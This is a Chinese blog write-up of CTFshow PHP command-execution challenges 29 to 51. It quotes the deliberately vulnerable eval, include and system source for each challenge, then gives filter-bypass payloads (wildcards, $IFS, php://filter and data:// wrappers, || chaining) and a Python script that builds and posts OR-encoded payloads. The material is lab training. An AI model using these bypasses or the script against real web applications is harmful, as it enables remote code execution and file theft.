CTFshow web(29-51) 命令执行

已于 2022-01-22 00:14:35 修改
阅读量947 收藏 2
点赞数 1
分类专栏： 网安 文章标签： php 开发语言 后端 web安全
于 2022-01-21 23:10:21 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_37561898/article/details/122631148
版权

[命令绕过，异或绕过，伪协议]

持续更新

web29

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);#不输出错误
if(isset($_GET['c'])){   #接受参数
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){   #没有匹配到/flag就执行eval($c):
        eval($c);    # 知识点：eval() php命令执行函数。
    }
    
}else{
    highlight_file(__FILE__); 
}

了解函数：

preg_match() 函数可以返回 $pattern 的匹配次数，它的值将是 0 次（不匹配）或 1 次，因为 preg_match() 在第一次匹配后将会停止搜索。

知识点：

1.linux通配符绕过：*匹配任意字符串/文本，包括空字符串。如 ls list -> ls l*. ?匹配任意一个字符（不在括号内时）

2.[abcd]正则 表示匹配[ ] 里的任何一个字符abcd

3.[a-z] 匹配a-z的任意字符

4.拼接字符串cat file.txt == ca't' f'i'le.txt

5.换行符绕过：cat file.txt = cat f\ile.txt

最终palyload: ?c=system('cat f*');

web30

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){  #多禁用
一些关键词
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

禁用了system这个命令执行函数但是我们还有几个常用的函数可以实现一样的功能

system() ： passthru() ： exec() ：shell_exec() ：popen() ：proc_open() ：pcntl_exec() 反引号 同shell_exec()：

以上函数详细用法可以看看这篇博客：https://www.jb51.net/article/104690.htm

以上得到palyload:?c=passthru('cat f*'); 或者c=echo `cat f*`;

web31

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){  #过滤了空格，小数点，升序函数，以及一个查看的命令
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

知识点：

在linux 空格可以用以下字符串代替： %09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等

在linux中与cat有类似功能的有如下字符 cat，tac，more，less，head，tail，nl，sed,sort,uniq,rev ，/**/,%09太多了随便找个替换

理论：payload: ?c=echo/**/`tac/**/*`或者?c=echo${IFS}`tac${IFS}f*`

但是并没有用：

最终payload:

web32

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里最关键的禁用了分号，我们知道php一段函数结尾必须要有";"

如:system('ls'); , echo `ls`;

知识点:

1.<php? include$_POST[a] ?> 使用?> 闭合php，在里面构造一个新的POST请求，我们在数据post部分调用构造出的a。

2.php伪协议：

php://filter/read=convert.base64-encode/resource=*** 进行文件读取

伪协议详细请看：php伪协议总结 - My_Dreams - 博客园

于是:

payload: ?c=include$_POST[a]?> post: a= php://filter/read=convert.base64-encode/resource= flag.php

得到base64编码的flag

百度base64解码:

web33-36 都可以用上一题的方法做出来就不做赘述。

wen37

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

eval函数换成了include，这个函数会包含文件内容。

知识点：伪协议

file://协议
用于访问本地文件系统，在CTF中通常用来读取本地文件
示例：http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
php://协议
php:// 访问各个输入/输出流，在CTF中经常使用的是php://filter和php://input，php://filter用于读取源码，php://input用于执行php代码
示例1：php://filter/read=convert.base64-encode/resource=[文件名]
示例2：http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?>
data://协议
通常可以用来执行PHP代码
示例1：http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
示例2：http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

data://text/plain, 将内容封装成一个文件，后半部分为写入的数据，可以构造命令执行，把执行后的结果经过data数据流封装，再传递给include进行读取。

payload: ?c=data:text/plain,<?= system('tac f*');?>

web38一样的解法，换一个查看文件的命令

web39一样的解法,<?php 换成<?=

web40

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

这次过滤了很多东西前面的都不能用了，但是他给出了一个eval函数.可以使用无参rce

知识点：

print_r(scandir(‘.’)); 查看当前目录下的所有文件名

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

current() 函数返回数组中的当前元素（单元）,默认取第一个值，pos是current的别名

打印当前目录文件：

?c=print_r(scandir(current(localeconv())));

flag.php在下标为3的数组里，current默认读取第一个元素值所以用到以下知识点：

each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组

最终payload:

?c=show_source(next(array_reverse(scandir(getcwd()))));（指针向前.flag变成3,经过倒序flag变成0就是第一位。所以读取成功）

web41

<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

看似禁用了这么多字符，我们无法再操作任何字符。但其实还有别的办法

运算符绕过：或运算

python脚本：

import requests
import urllib
import re
from sys import *

if (len(argv) != 2):
    print("=" * 50)
    print("请输入url")
    print("input exit in function")
    print("=" * 50)
    exit(0)
url = argv[1]


# 生成可用的字符
def write_rce():
    result = ''
    preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
    for i in range(256):
        for j in range(256):
            if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
                k = i | j
                if k >= 32 and k <= 126:
                    a = '%' + hex(i)[2:].zfill(2)
                    b = '%' + hex(j)[2:].zfill(2)
                    result += (chr(k) + ' ' + a + ' ' + b + '\n')
    f = open('rce.txt', 'w')
    f.write(result)


# 根据输入的命令在生成的txt中进行匹配
def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    print(output)
    return (output)



def main():
    write_rce()
    while True:
        s1 = input("\n[+] your function：")
        if s1 == "exit":
            break
        s2 = input("[+] your command：")
        param = action(s1) + action(s2)
        print(param)
        data = {
            'c': urllib.parse.unquote(param)
        }
        a = requests.post(url, data=data)
        print("\n[*] result:\n" + a.text)


main()

web42

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

知识点： /dev/null 相当于数据销毁站，会把执行的命令通过>重定向进/null

payload: ?c=cat flag.php;ls

；分隔命令，ls的结果被输出到.null，cat被执行输出

web43

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

增加了字数匹配过滤分号被过滤了

新姿势: || 表示上一条命令执行失败后，才执行下一条命令，如 cat nofile || echo "fail"

payload: ?c=tac flag.php||ls

web44


/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:?c=tac f*.php||ls

通配符代替

web45

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

考察空格代替

?c=nl${IFS}f???????||ls

we46

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:?c=nl%09f???????||ls

通配符代替，空格代替

web47

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

linux命令掌握

?c=nl%09f???????||ls

web48

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

和上题一样

web49

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=nl%09f???????||ls 十六进制的空格因该也是可以

差不多的套路

web50

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=nl<f''lag.php||ls

字符串拼接后还是完整的f‘’lag.php==flag.php

web51

题解与上题一致

冲不动了啊啊啊
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
CTFshow 命令执行 web51
Kradress的博客
11-20 334
目录源码知识点题解总结 源码 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:42:52 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){
[CTFSHOW]命令执行55-74
Huamang的博客
03-05 1586
web 55 if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); } bin目录: bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、
ctf 命令执行
weixin_74427106的博客
04-19 474
过滤了等号那可以用include绕过，GET传入的变量可以改变，如果数字被绕过可以使用字母。ctf命令执行，主要就是一些 php中以及linux的一些命令以及一些绕过。eval这个函数有点特殊，它可以将字符串转换成代码执行，所以。执行命令的两个函数 ：system以及echo。在一个就是中文字符被绕过可以使用以下函数。如果只是过滤了flag 则直接命令执行。
ctfshow-web入门-命令执行（web29）五种解法绕过文件名检测
最新发布
Welcome To Myon'Blog !
06-06 492
它的 payload 里用到了两个连续的单引号，在一些系统中，连续的两个单引号会被解释为一个单引号，而不会被视为字符串的结尾，从而使得字符串拼接在一起。因此，"fl''ag.php" 被解释为 "flag.php"，从而绕过对文件名的检测。第一题代码很简单，就是对 preg_match 绕过，只要提交的参数值不出现 flag 就行。这条命令的作用是输出指定文件的内容，并在每一行前面加上行号。可以看到 flag 就在当前目录下，叫 flag.php。写入成功，这里还是测了一会儿才弄好，注意对单引号的转义。
CTFSHOW-命令执行
Monica的博客
09-03 4082
WEB29 题目： <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } 分析：题目过滤了flag且忽略大小写 知识点：linux通配符 * 匹配任何字符串／文本，包括空字符串；*代表任意字符..
命令执行web入门
2201_75316477的博客
12-30 1460
我们可以发送一个上传文件的POST包，此时PHP会将我们上传的文件保存在临时文件夹下，默认的文件名是/tmp/phpXXXXXX，文件名最后6个字符是随机的大小写字母。如果对取反不了解可以百度一下，这里给个容易记得式子，如果对a按位取反，则得到的结果为-(a+1)，也就是对0取反得到-1。其中%09，%26不受数字被过滤的影响，因为在加载时%09，%26会被解码为空格和分号，也就没有了数字。过滤了冒号，不能用伪协议了，没有过滤英文状态的**()** 和**;这下好了，过滤了字母，但是数字没有过滤，数字？
命令执行漏洞
qq_48904485的博客
03-21 1989
一、命令执行介绍 1、命令执行漏洞原理 命令执行漏洞定义：Web应用程序接收用户输入，拼接到要执行的系统命令中执行。 产生原因： 1、用户输入未过滤或净化； 2、拼接到系统命令中执行。 2、PHP下命令执行函数 在PHP中具有执行系统命令功能的函数如下： 1、system 2、exec 3、shell_exec 4、passthru 5、popen 6、proc_popen 7、`反引号 8、ob_start 9、mail函数+LD_PRELOAD执行系统命令 使用示例： L
刷题（1）
qq_62046696的博客
09-28 966
构造payload：fl%61g[%61rg]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));但是有三个参数，不知道哪个有用，试一下哪个有用，一个个删一下看看。
ctfshow-php特性(web102-web115)
m0_72125469的博客
02-12 1692
ctfshow-web102 web103 web104 web105 web106 web107 web108 web109 web110 web111 web112 web113 web114 web115
ctfshow web入门 命令执行payload
2h4ox1n9
06-15 1680
ctfshow web
shell中 >/dev/null 2>&1
黄亚的博客
09-28 735
shell中>/dev/null 2>&1 1. /dev/null 这条命令的作用是将标准输出1重定向到/dev/null中。/dev/null代表linux的空设备文件，所有往这个文件里面写入的内容都会丢失，俗称“黑洞”。那么执行了>/dev/null之后，标准输出就会不再存在，没有任何地方能够找到输出的内容。 2>&1 这条命令用到了重定向...
CTF 总结02：preg_match()绕过
热门推荐
weixin_42789937的博客
01-18 1万+
preg_match()绕过，小白总结，修改过一次，后期会根据做题经历有所增补~
ctfshow web入门 命令执行29-32
ts6666a的博客
02-05 581
web29 <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } preg_match 函数用于执行一个正则表达式匹配。/i意味着不分大小写。本句含义是不能用flag值且忽略了大小写。说明对flag进行
ctfshow-Web入门-29~36wp
yutianovo的博客
09-05 1925
Web29 <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } eval函数 了解 eval函数之后 传入 ?c=echo "Y2my";?>ctf <?php system('ls');
CTFshow_web入门_命令执行_web29~54
ScyLamb的博客
02-07 1668
0x00 web29 if(!preg_match("/flag/i", $c)){ 只过滤flag【不区分大小写】 ?c=system('ls'); ?c=system('cat `ls`'); 预期解：echo `nl fl''ag.php`; 0x01 web30 if(!preg_match("/flag|system|php/i", $c)){ 过滤了文件名、一个系统命令执行函数、php【不区分大小写】 ?c=passthru('ls'); ?c=passthru("nl fl''ag.
【Ctfer训练计划】——命令执行的解题技巧(持续更新中)
wangluoanquan111的博客
03-20 1058
从时代发展的角度看，网络安全的知识是学不完的，而且以后要学的会更多，同学们要摆正心态，既然选择入门网络安全，就不能仅仅只是入门程度而已，能力越强机会才越多。因为入门学习阶段知识点比较杂，所以我讲得比较笼统，大家如果有不懂的地方可以找我咨询，我保证知无不言言无不尽，需要相关资料也可以找我要，我的网盘里一大堆资料都在吃灰呢。干货主要有：①1000+CTF历届题库（主流和经典的应该都有了）②CTF技术文档（最全中文版）③项目源码（四五十个有趣且经典的练手项目及源码）
CTFshow命令执行29-123
qq_43534481的博客
08-06 1445
CTFshow命令执行WP
[ctfshow]入门5
qq_61109509的博客
01-31 1860
前言： 本文大量参考ThnPkm大佬博客 web29 看题 error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } preg_match（）函数：preg_match 函数用于执行一个正则表达式匹配 后面的i是不区分大
ctfshow 命令执行 write up 29-36
qq_44893894的博客
11-21 384
命令执行知识点： 常用的命令执行函数： system() //函数执行有回显，返回执行结果 passthru() //函数执行有回显，返回执行结果 exec() //函数执行无回显，默认返回最后一行结果，通过echo可将执行结果输出到页面 shell_exec() //函数执行无回显，通过echo可将执行结果输出到页面 `` //shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体，当禁用shell_exec
ctfshow-web-web红包题
07-14
ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站，要求我们通过安全漏洞来获得网站的红包。 首先，我们可以检查网站的源代码，寻找可能存在的漏洞。在网站的前端页面中，...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值